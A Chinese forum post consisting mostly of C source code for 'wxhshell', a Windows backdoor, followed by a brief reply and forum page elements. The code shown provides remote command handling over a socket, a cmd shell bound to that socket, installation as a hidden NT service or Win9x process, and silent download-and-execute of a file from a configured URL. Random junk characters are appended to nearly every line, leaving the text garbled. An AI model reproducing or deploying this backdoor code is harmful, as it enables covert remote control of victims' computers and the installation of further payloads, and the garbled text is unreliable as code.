  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C^$E#|E9N  
  } t ]BG)]  
  else { ub?dfS9$_  
9"[,9HN  
    switch(cmd[0]) { v} !lx)#  
  (\qf>l+*  
  // 帮助 CV[9i  
  case '?': { $}4ao2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @0@WklAJA  
    break; ?<J~SF Tt  
  } |K. I%B  
  // 安装 xjp0w7L)J  
  case 'i': { IfH/~EtX  
    if(Install()) W2<'b05  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'z9 1aNG]  
    else oyiG04H&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U>n[R/~]  
    break; V'b4wO1RV  
    } M[985bl  
  // 卸载 ~JRq :  
  case 'r': { ;Q t%>Uo8  
    if(Uninstall()) %Ja0:e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &t UX(  
    else 2?qT,pN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2a-]TVL3  
    break; jct=Nee|  
    } odL* _<Z  
  // 显示 wxhshell 所在路径 E|-oUz t  
  case 'p': { =Fe4-B?I  
    char svExeFile[MAX_PATH]; {yNeZXA>  
    strcpy(svExeFile,"\n\r"); z}SJ~WY'[  
      strcat(svExeFile,ExeFile); k/F#-},Q.  
        send(wsh,svExeFile,strlen(svExeFile),0); R.1.LB  
    break; #y&5pP:@  
    } otaRA  
  // 重启 zZd.U\"2  
  case 'b': { B|o@ |zF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J<0sT=/2$  
    if(Boot(REBOOT)) QUkP&sz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Tp +]"bL  
    else { 3Z~_6P^ +N  
    closesocket(wsh); }S*]#jr&  
    ExitThread(0); iYiTkq  
    } &CQ28WG X  
    break; ]fDb|s48  
    } _|;d D  
  // 关机 E#d~.#uH  
  case 'd': { Y{~`g(~9_A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;0| :.q  
    if(Boot(SHUTDOWN)) p! k~uf U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4|ION  
    else { "kFNOyj3\  
    closesocket(wsh); NVQ.;"2w  
    ExitThread(0); pSAtn  
    } ,n%b~.$:v5  
    break; O,7S1  
    } le_a IbB"P  
  // 获取shell bp" @ p:  
  case 's': { 83]m/Iz  
    CmdShell(wsh); ]D~Ibv{Y  
    closesocket(wsh); K/(QR_@?  
    ExitThread(0); @[v,q_^8  
    break; e2fv%  
  } X!{K`~DRX  
  // 退出 |7KWa(V5I  
  case 'x': { >tkz%;6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sz|kXk6&9  
    CloseIt(wsh); p5"pQe S  
    break; %Cj_z  
    } `'3&tAy  
  // 离开 =i}lh}(  
  case 'q': { 8,F|*YA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Aua}.Fl,  
    closesocket(wsh); GwA\>qXw  
    WSACleanup(); CL`+\ .  
    exit(1); T++q.oFc  
    break; r# oJch=  
        } iD cYyNE  
  } "J*>g(H53  
  } q77qdm q7  
|aU8WRq  
  // 提示信息 9,&xG\z=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gB%"JDn8  
} ]Ar,HaX-  
  } RnC+]J+?4  
:,yC\,H^  
  return; I5QtPqB>  
} ,o0Kevz  
kVCWyZh4  
// shell模块句柄 T12Zak4.=  
int CmdShell(SOCKET sock) >S0kiGDV{  
{ /oJ &\pI  
STARTUPINFO si; 86cnEj=   
ZeroMemory(&si,sizeof(si)); m8 _yorz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M/lC&F(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @+~>utr  
PROCESS_INFORMATION ProcessInfo; R-<8j`[0  
char cmdline[]="cmd"; Wt@hST  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v:Gy>&  
  return 0; /kw;q{>?o  
} CAx eJ`Q  
r9! s@n  
// 自身启动模式 9Nna-}e?W  
int StartFromService(void) k{S8q?Gc  
{ C[jX;//Jiu  
typedef struct Qc!3y>Y=_  
{ o~CEja &(  
  DWORD ExitStatus; T.')XKP)1N  
  DWORD PebBaseAddress; !Ea9 fe  
  DWORD AffinityMask; ~z]VDEJ{q  
  DWORD BasePriority; `'5vkO>  
  ULONG UniqueProcessId; Z5F#r>>`  
  ULONG InheritedFromUniqueProcessId; a[z$ae7  
}   PROCESS_BASIC_INFORMATION; ]t&^o**  
\Wg_ gA  
PROCNTQSIP NtQueryInformationProcess; qQ3pe:n?  
H2Z e\c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GL-b})yy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }CZw'fhVWO  
JC9$"0d7  
  HANDLE             hProcess; g]N'6La  
  PROCESS_BASIC_INFORMATION pbi; tcRJ1:d  
K1R?Qt,qDF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g)ZMU^1  
  if(NULL == hInst ) return 0; ,~1sZ`C  
01&E.A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .#iot(g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -I6t ^$HA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Og@{6>  
$`%Om WW{  
  if (!NtQueryInformationProcess) return 0; NOkgG0Z  
~b X~_\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .}Xf<G&  
  if(!hProcess) return 0; yH43Yo#Rk  
@TXLg2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5a@9PX^.J  
~Mar  
  CloseHandle(hProcess); .m\0<8C  
Wb cm1I)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  h 7l>(3  
if(hProcess==NULL) return 0; 7hu7rWY`E  
b5Q>e%i#  
HMODULE hMod; kw#-\RR_c  
char procName[255]; %QGw`E   
unsigned long cbNeeded; Fsx<Sa  
uM,Ps}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E,K>V:P*  
gX-hYQrC  
  CloseHandle(hProcess); P,3w b  
GP %hf{  
if(strstr(procName,"services")) return 1; // 以服务启动 |#SZd Xg  
v@M^ukk'}  
  return 0; // 注册表启动 $?k]KD  
} ZMiOKVl  
D `V.gV]  
// 主模块 1kUlQ*[<|  
int StartWxhshell(LPSTR lpCmdLine) UuF(n$B  
{ y:Of~ ]9@  
  SOCKET wsl; Z_S{$D  
BOOL val=TRUE; Gky^S#  
  int port=0; nu~]9~)I  
  struct sockaddr_in door; $)8,dS  
aH @-"Wi  
  if(wscfg.ws_autoins) Install(); R1w5,Zt  
:{lP9%J-  
port=atoi(lpCmdLine); +w?R4Sxjn  
g*LD}`X/-  
if(port<=0) port=wscfg.ws_port; 8 Zp^/43  
wD{c$TJ?{F  
  WSADATA data; Kdp($L9r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G-RDQ  
:lvBcFw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   idX''%"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0x]?rd+q8Q  
  door.sin_family = AF_INET; hh%?E\qM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f^u-Myk  
  door.sin_port = htons(port); kmt1vV.9  
bJD$!*r\%!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ysp`(n=  
closesocket(wsl); NsM`kZM4H  
return 1; b l+g7g;  
} +`{OOp=  
5dE=M};v  
  if(listen(wsl,2) == INVALID_SOCKET) { + Hv'u  
closesocket(wsl); (1GU  
return 1; v0E6i!D/  
} |K-`  
  Wxhshell(wsl); |vGHhzZ|  
  WSACleanup(); y5+%8#3  
{Y Y,{H  
return 0; E0&d*BI2  
qz (x  
} :|niFK4  
|Rhqi  
// 以NT服务方式启动 ~ ) w4Tq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i 61k  
{ 4:N*C7 P  
DWORD   status = 0; T :m" eD;  
  DWORD   specificError = 0xfffffff; CPRVSN0b{4  
{ $yju_[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u5glKE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h ! R=t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ArNQ}F/  
  serviceStatus.dwWin32ExitCode     = 0; "2sk1  
  serviceStatus.dwServiceSpecificExitCode = 0; 0NC70+4L  
  serviceStatus.dwCheckPoint       = 0; 7dACbqba  
  serviceStatus.dwWaitHint       = 0; pb)8?1O|s  
(?JdiY/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z f\~Cl  
  if (hServiceStatusHandle==0) return; fC*cqc~{@  
-,p=;t#(  
status = GetLastError(); @v#P u_  
  if (status!=NO_ERROR) \i%mokfbc  
{ (4A'$O2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qa )BbK^i  
    serviceStatus.dwCheckPoint       = 0; ?&~q^t?u  
    serviceStatus.dwWaitHint       = 0; V8TdtGB.|h  
    serviceStatus.dwWin32ExitCode     = status; d,JDfG)  
    serviceStatus.dwServiceSpecificExitCode = specificError; @&WHX#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jut&J]{h  
    return; F!0iM)1o  
  } ` K {k0_{  
';/J-l/SE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /kkUEo+  
  serviceStatus.dwCheckPoint       = 0; /YF:WKr2  
  serviceStatus.dwWaitHint       = 0; 'D ?o^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oR=i5lAU  
} c AEvv[  
.\^0RyJE  
// 处理NT服务事件,比如:启动、停止 Hy[: _E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8SKrpwy  
{ ~S\L(B(  
switch(fdwControl) % |D)%|Z  
{ oYStf5  
case SERVICE_CONTROL_STOP: BU/A\4xQ,Y  
  serviceStatus.dwWin32ExitCode = 0; V<I(M<Dj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ty0P9.Q  
  serviceStatus.dwCheckPoint   = 0; uy3<2L#.  
  serviceStatus.dwWaitHint     = 0; wAprksZL#  
  { &gY) x{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L8PX SJ  
  } tMiIlf!>p  
  return; Ls9NQy  
case SERVICE_CONTROL_PAUSE: cpltTJFg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NSB6 2  
  break; Kh(`6 f  
case SERVICE_CONTROL_CONTINUE: `/P/2{,~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gaY&2  
  break; >dt*^}*  
case SERVICE_CONTROL_INTERROGATE: Ms(xQ[#+  
  break; gK[;"R)4o@  
}; bhpku=ov  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U-u?oU-.'  
} )P:^A9&_n=  
IFX$\+-  
// 标准应用程序主函数 0Lxz?R x]<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8v& \F  
{ rXX>I;`&  
qMNW w\k  
// 获取操作系统版本 P)=.D u)  
OsIsNt=GetOsVer(); Lau@HYW0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZLv/otf:|"  
vv @m{,7#Y  
  // 从命令行安装 .="X vVdkp  
  if(strpbrk(lpCmdLine,"iI")) Install(); fq6%@M~  
xZ9:9/Vg  
  // 下载执行文件 n_e'n|T  
if(wscfg.ws_downexe) { ?W'p&(;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YNU}R/u6^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7R2O[=Szq  
} ,94<j,"  
zzQWHg]/  
if(!OsIsNt) { :;7I_tb  
// 如果时win9x,隐藏进程并且设置为注册表启动 fo@^=-4A-  
HideProc(); [s {!  
StartWxhshell(lpCmdLine); St-uE |8  
} y!77gx?-  
else A]/o-S_  
  if(StartFromService()) ~-BF7f 6C  
  // 以服务方式启动 Yv;s3>r  
  StartServiceCtrlDispatcher(DispatchTable); $>XeC}"x68  
else ~t`s&t'c|  
  // 普通方式启动 ?0VR2Yb${b  
  StartWxhshell(lpCmdLine); yJm"vN  
c[dzO .~  
return 0; ]yU"J:/  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八